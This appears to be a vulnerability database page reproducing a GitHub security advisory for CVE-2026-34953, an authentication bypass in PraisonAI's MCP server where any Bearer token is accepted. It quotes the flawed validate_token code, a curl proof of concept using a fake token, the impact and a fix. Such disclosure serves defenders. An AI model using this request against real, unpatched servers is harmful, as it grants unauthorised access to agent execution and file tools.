GHSA-98F9-FQG5-HVQ5
Vulnerability from github – Published: 2026-04-01 23:29 – Updated: 2026-04-06 22:54
VLAI?
Summary
PraisonAI Has Authentication Bypass via OAuthManager.validate_token()
Details
Summary
OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.
Details
oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)
# source
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# sink -- _tokens is empty by default, loop never executes, falls through
return True
PoC
# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080
curl -s -X POST http://127.0.0.1:8080/mcp \
-H "Authorization: Bearer fake_token_abc123" \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","method":"tools/list","id":1}'
# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write
Impact
Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.
Suggested Fix
def validate_token(self, token: str) -> bool:
for stored_token in self._tokens.values():
if stored_token.access_token == token:
return not stored_token.is_expired()
# Unknown tokens must be rejected.
# For external/JWT tokens, call the introspection endpoint here before returning.
return False
Severity ?
9.1 (Critical)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.5.96"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34953"
],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:29:01Z",
"nvd_published_at": "2026-04-03T23:17:06Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\n`OAuthManager.validate_token()` returns `True` for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.\n\n### Details\n\n`oauth.py:364` (source) -\u003e `oauth.py:374` (loop miss) -\u003e `oauth.py:381` (sink)\n```python\n# source\ndef validate_token(self, token: str) -\u003e bool:\n for stored_token in self._tokens.values():\n if stored_token.access_token == token:\n return not stored_token.is_expired()\n\n# sink -- _tokens is empty by default, loop never executes, falls through\n return True\n```\n\n### PoC\n```bash\n# install: pip install -e src/praisonai\n# start server: praisonai mcp serve --transport http-stream --port 8080\n\ncurl -s -X POST http://127.0.0.1:8080/mcp \\\n -H \"Authorization: Bearer fake_token_abc123\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"tools/list\",\"id\":1}\u0027\n\n# expected output: 200 OK with full tool list (50+ tools)\n# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write\n```\n\n### Impact\n\nAny unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to `0.0.0.0` by default with no API key required.\n\n### Suggested Fix\n```python\ndef validate_token(self, token: str) -\u003e bool:\n for stored_token in self._tokens.values():\n if stored_token.access_token == token:\n return not stored_token.is_expired()\n # Unknown tokens must be rejected.\n # For external/JWT tokens, call the introspection endpoint here before returning.\n return False\n```",
"id": "GHSA-98f9-fqg5-hvq5",
"modified": "2026-04-06T22:54:25Z",
"published": "2026-04-01T23:29:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-98f9-fqg5-hvq5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34953"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has Authentication Bypass via OAuthManager.validate_token()"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…